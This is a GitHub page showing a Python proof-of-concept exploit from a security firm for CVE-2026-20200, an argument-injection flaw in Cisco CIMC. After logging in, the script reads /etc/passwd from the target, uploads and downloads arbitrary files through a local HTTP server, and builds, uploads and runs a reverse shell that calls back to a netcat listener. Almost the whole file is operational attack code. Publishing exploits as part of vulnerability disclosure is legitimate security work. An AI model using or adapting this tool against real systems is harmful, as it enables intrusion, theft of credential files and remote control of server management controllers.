-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCIMCown.py
More file actions
447 lines (378 loc) · 14.8 KB
/
Copy pathCIMCown.py
File metadata and controls
447 lines (378 loc) · 14.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
#!/usr/bin/python3
"""
Exploit for CVE-2026-20200: Argument Injection in Cisco CIMC with RCE exploit
Christoph Peil @ NSIDE ATTACK LOGIC 2026
CVE: CVE-2026-20200
CVSS (3.1):
Advisory: https://www.nsideattacklogic.de/advisories/NSIDE-SA-2026-003/
Blogpost: https://www.nsideattacklogic.de/en/cisco-imc-when-remote-management-becomes-a-backdoor-cve-2026-20200/
This proof-of-concept is for demonstration purposes and should not be used for illegal activities.
NSIDE ATTACK LOGIC is not responsible for any damage caused by the use or misuse of this code.
For reverse shell to work, you first have to set your local IP in the file "./shell/reverse_shell.go"
to the local IP of the attacker system, and build it with the action '-a build'.
Installation:
sudo apt install golang-go
pip install -r requirements.txt
Usage: CIMCown.py [-h] [--proxy PROXY] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-v]
options:
-h, --help show this help message and exit
--proxy PROXY Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)
-t, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-U, --username USERNAME
-P, --password PASSWORD
-a, --action ACTION Action: test, download, upload, build, shell (default: test)
Test will connect to the CIMC and download the file /etc/passwd
-u, --uploadFile UPLOADFILE
File to upload
-p, --remoteFile REMOTEFILE
Remote file path to upload to
-d, --downloadFile DOWNLOADFILE
File to download, is saved into 'Download'
-v, --verbose Displays more information about cimc
"""
import os
import json
import urllib3
from Cryptodome.Cipher import AES
import argparse
import time
import threading
from pathlib import Path
import shutil
import tempfile
def headers():
print("""
___oooo___oooo_ooo_____ooo____oooo______________________________
_oo____oo__oo__oooo___oooo__oo____oo__ooooo__oo_______o_oo_ooo__
oo_________oo__oo_oo_oo_oo_oo________oo___oo_oo__oo___o_ooo___o_
oo_________oo__oo__ooo__oo_oo________oo___oo_oo__oo___o_oo____o_
_oo____oo__oo__oo_______oo__oo____oo_oo___oo__oo_oo__o__oo____o_
___oooo___oooo_oo_______oo____oooo____ooooo____oo__oo___oo____o_
________________________________________________________________
""")
print("~ Because every vulnerability needs a cool tool")
print("~ pec @ NSIDE | v0.2\n")
print("Big Thx to ~AThacker @ LRQA Nettitude for CISCown Authentication | v0.2\n")
print("This proof-of-concept is for demonstration purposes and should not be used for illegal activities.\nNSIDE ATTACK LOGIC is not responsible for any damage caused by the use or misuse of this code.")
## To ignore warnings regarding a "selfsigned" cert
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
######################################
#### Define global variables #########
## Create used tempfolder
temp_dir = tempfile.TemporaryDirectory()
revShellIP = ""
revShellPort = 4444
######################################
## Get basic information regarding the host and session
### lreq[1] = cookie
### lreq[2] = SID
def get_host_info(target, lreq):
"""
get_host_info sends out a query to the Cisco IMC
to fetch information about the host and current session
<lreq> is an array created at login, containing the following information:
lreq[0] = <bool> Login successfull
lreq[1] = Cookie
lreq[2] = SID
lreq[3] = <bool> isAdmin
lreq[4] = local IP of the client logged in
"""
response = query_raw(
target,
lreq[1],
lreq[2],
'{"commands":[{"command":"cisco_get_data","parameter":{"key":"sessionData"}}]}',
'/ciscodata')
resJson = json.loads(response.content)
if response.status_code == 200 :
ciscoData = resJson["cisco_get_data"]
sessionData = ciscoData["sessionData"]
print(f'cimcIp: {ciscoData["cimcIp"]}')
print(f'sysPlatformId: {ciscoData["sysPlatformId"]}')
print(f'cimcVersion: {ciscoData["cimcVersion"]}')
print(f'hostname: {ciscoData["hostname"]}')
print(f'sessionId: {sessionData["sessionId"]}')
print(f'userPrivilege: {sessionData["userPrivilege"]}')
print(f'intersightMode: {sessionData["intersightMode"]}')
print(f'clientIP: {sessionData["clientIP"]}')
else:
raise Exception("[!] \t\tsessionData returned weird results")
def uploadFile(target, lreq, localFile, remoteFilePath):
"""
uploadFile is used to upload a file to the <target> Cisco IMC.
It first creates a temporary copy of the <localFile>,
starts the webserver with the temp directory as base dir in a new thread,
and sends a exploit request to upload the <localFile> to the <remoteFilePath>,
also in a separate thread.
<lreq> is an array created at login, containing the following information:
lreq[0] = <bool> Login successfull
lreq[1] = Cookie
lreq[2] = SID
lreq[3] = <bool> isAdmin
lreq[4] = local IP of the client logged in
"""
# Fetch all needed values from lreq
cookieValue = lreq[1]
sidValue = lreq[2]
hostIP = lreq[4]
hostPort = 80
filename = os.path.basename(localFile)
# Check if file exists, and proceed
my_file = Path(localFile)
if my_file.is_file():
# Copy file to temporary directory
shutil.copy(localFile,temp_dir.name)
# Wait till listening port is open and ready
while check_port(hostPort):
time.sleep(1)
print("[$] \tWaiting for open port...")
time.sleep(0.5)
# Start file hosting server in separate thread
server = threading.Thread(target=startHTTPserverUpload, args=(hostPort,temp_dir.name,))
server.start()
# Upload file with "query_uploadFile" in new thread
upload = threading.Thread(
target=query_uploadFile,
args=(target, cookieValue, sidValue, hostIP, filename, remoteFilePath,))
upload.start()
upload.join(timeout=10)
# Wait for all threads to finish
if server.is_alive():
print("[!] \t\tupload server did not close")
if upload.is_alive():
print("[!] \t\tupload request did not close")
return "[#] \t\tFile [FILE] uploaded successfully to [PATH]".replace("[FILE]",filename).replace("[PATH]",remoteFilePath)
else:
raise Exception("[!] \t\tUploadable File does not exist")
def downloadFile(target, lreq, remoteFilePath):
"""
downloadFile is used to download a file from the <target> Cisco IMC.
Checks, if everything is ready for download,
starts the webserver with the download dir as base dir in a new thread,
ready to receive files with POST requests,
and sends a exploit request to download the <remoteFilePath> to local machine,
also in a new thread.
<lreq> is an array created at login, containing the following information:
lreq[0] = <bool> Login successfull
lreq[1] = Cookie
lreq[2] = SID
lreq[3] = <bool> isAdmin
lreq[4] = local IP of the client logged in
"""
# Fetch all needed values from lreq
cookieValue = lreq[1]
sidValue = lreq[2]
hostIP = lreq[4]
hostPort = 80
# Create download folder if not there
create_folder("./download")
# Check if server ports from previous actions are
while check_port(hostPort):
time.sleep(0.5)
print("[$] \tWaiting for open port...")
# Start server to receive file in a new thread
server = threading.Thread(target=startHTTPserverDownload, args=(hostPort,'./download',))
server.start()
# Start the query "query_downloadFile" for file download in a new thread
download = threading.Thread(
target=query_downloadFile,
args=(target, cookieValue, sidValue, hostIP, remoteFilePath,))
download.start()
server.join(timeout=240)
download.join(timeout=10)
# Wait for all threads to finish
if server.is_alive():
print("[!] \t\treceiving server did not close")
if download.is_alive():
print("[!] \t\tdownload request did not close")
return "[#] \t\tFile %s download successfully" % remoteFilePath
def createNCRevShell(target, lreq):
"""
createNCRevShell uploads a pre-compiled executable library
and reverse-shell to the Cisco IMC <target>, to gain a
reverse shell which connects back to the attacker machine
to a listening netcat socket.
<lreq> is an array created at login, containing the following information:
lreq[0] = <bool> Login successfull
lreq[1] = Cookie
lreq[2] = SID
lreq[3] = <bool> isAdmin
lreq[4] = local IP of the client logged in
"""
# Set all needed values
cookieValue = lreq[1]
sidValue = lreq[2]
hostIP = lreq[4]
hostPort = 80
revShell = "./shell/revshell"
revLib = "./shell/lib.so"
revIP = revShellIP
revPort = revShellPort
remoteRevShellPath = "/tmp/main"
remoteRevLibPath = "/tmp/lib.so"
### Pre-Check
## Check if netcat is avaiable
nc = "nc"
if not shutil.which(nc):
# Fallback to known terminals, if x-terminal-emulator is missing
fallbacks = ["ncat", "netcat"]
nc = next((t for t in fallbacks if shutil.which(t)), None)
if not nc:
raise Exception("[!] - No supported netcat version found.")
# Check for RevShel binary
if not os.path.isfile(revShell):
raise Exception(f"[!]\tNo revshell {revShell} found. Try building it with action 'build'")
# Check for RevShel library
if not os.path.isfile(revLib):
raise Exception(f"[!]\tNo revLib {revLib} found. Try building it with action 'build'")
## Starting netcat listener in new detached window
print("[#] \t\tStarting netcat listener .....")
start_terminal(f"{nc} -lvp {revPort}")
# sleep for 5 seconds, because nc sometimes takes a bit time
time.sleep(5)
# Upload revShell library
uploadFile(target,lreq,revLib,remoteRevLibPath)
print ("[#] \t\tRevShell uploaded successfully")
time.sleep(2)
# Upload revShell golang binary
uploadFile(target,lreq,revShell,remoteRevShellPath)
print ("[#] \t\tLib uploaded successfully")
time.sleep(2)
# send exploit query executing the library and binary
# on the cisco IMC in a new thread
execute = threading.Thread(
target=query_executeFile,
args=(target, cookieValue, sidValue, hostIP, remoteRevLibPath,))
execute.start()
execute.join(5)
return "[#] \t\tShell uploaded and executed successfully"
## Main part with all flags and arguments
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-t","--host", type=str, help="Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)", required=True)
parser.add_argument("-U","--username", type=str, default="admin", help="Username (default: admin)", required=True)
parser.add_argument("-P","--password", type=str, default="cisco", help="Password (default: cisco)", required=True)
parser.add_argument("-a","--action", type=str, default="test", help="Action: test, download, upload, build, shell (default: test)")
parser.add_argument("-u","--uploadFile", type=str, default="", help="File to upload")
parser.add_argument("-p","--remoteFile", type=str, default="", help="Remote file path to upload to")
parser.add_argument("-d","--downloadFile", type=str, default="", help="File to download, is saved into './Download'")
parser.add_argument("--proxy", type=str, default="None", help="Set proxy to use, e.g. 127.0.0.1:8080 (Default: NONE)")
parser.add_argument("-v","--verbose", default=False, action='store_true', help="Displays more information about cimc")
args = parser.parse_args()
### Description:
# lreq[0] = <bool> Login successful
# lreq[1] = Cookie
# lreq[2] = SID
# lreq[3] = <bool> isAdmin
# lreq[4] = Client IP from session
headers()
## set Proxy if flag is given
os.environ["PROXY_CIMC"] = args.proxy
if os.environ["PROXY_CIMC"] == "None":
proxy = None
else:
proxy = os.environ["PROXY_CIMC"]
from authentication import *
from fileserver import *
from util import *
# Login Attempt with given username and password
print("")
print("######################################################")
print(f"[#]\tAttempting login as: {args.username}")
"""
# populate lreq
lreq[0] = <bool> Login successfull
lreq[1] = Cookie
lreq[2] = SID
lreq[3] = <bool> isAdmin
lreq[4] = local IP of the client logged in
"""
lreq = login(args.host, args.username, args.password)
## When lreq[0] is true, login was successful, proceed
if lreq[0]:
try:
print("[#] \t\tLogin: successful")
revShellIP = lreq[4]
# if Verbose flag is given, output more information
if args.verbose:
print("[#] \t\tGathering CIMC info:")
get_host_info(args.host,lreq)
print("")
############################################################
# DEFAULT ACTION
# ACTION = TEST
# download and print /etc/passwd from Cisco IMC
if args.action == "test":
print("[#] \t\tAction: test (download /etc/passwd)")
out = downloadFile(args.host, lreq, '/etc/passwd')
if out:
file_path = Path('./download/passwd')
print(file_path)
if file_path.is_file():
print("[#] \t\tTest successful!")
print("[#] \t\t/etc/passwd")
print(file_path.read_text())
os.remove(file_path)
else:
print("[!] \t\tTest unsuccesful")
print("[!] \t\tFile not read")
else:
print("[!] \t\tSomething went wrong testing")
############################################################
# ACTION = UPLOAD
# Uploads file to Cisco IMC
elif args.action == "upload":
print(f"[#] \t\tAction: Upload File")
print(f"[#] \t\tLocal File: {args.uploadFile}")
print(f"[#] \t\tRemote File Path: {args.remoteFilePath}")
out = uploadFile(args.host, lreq, args.uploadFile, args.remoteFilePath)
if out:
print(out)
else:
print("[!] \t\tSomething went wrong")
############################################################
# ACTION = DOWNLOAD
# Downloads defined file from Cisco IMC
elif args.action == "download":
print(f"[#] \t\tAction: Download File")
print(f"[#] \t\tRemote File Path: {args.downloadFile}")
out = downloadFile(args.host, lreq, args.downloadFile)
if out:
print(out)
else:
print("[!] \t\tSomething went wrong")
############################################################
# ACTION = BUILD
# Locally builds the library and go binary for reverse shell
# !! Library Build deactivated due to build errors on some systems
elif args.action == "build":
print(f"[#] \t\tAction: Build Reverse Shell")
revIP = lreq[4]
revPort = revShellPort
print("[#] \t\tBuidling Go binary")
buildGo(revIP, revPort)
print("[#] \t\tBuidling Library")
## Not needed / not supported everywhere
#buildLib()
############################################################
# ACTION = SHELL
# Uploads and executes the reverse shell library and binary
elif args.action == "shell":
print(f"[#] \t\tAction: Upload and Execute Reverse Shell")
out = createNCRevShell(args.host, lreq)
if out:
print(out)
else:
print("[!] \t\tSomething went wrong")
############################################################
# ACTION = Unknown
# Unknown error
else:
print("Action: unknown")
# Cleanup temp dir and logout after everything is done
# Else we can run in a session limit on the Cisco IMC
finally:
logout(args.host, lreq[2], lreq[1])
temp_dir.cleanup()
else:
print("Login: unsuccessful")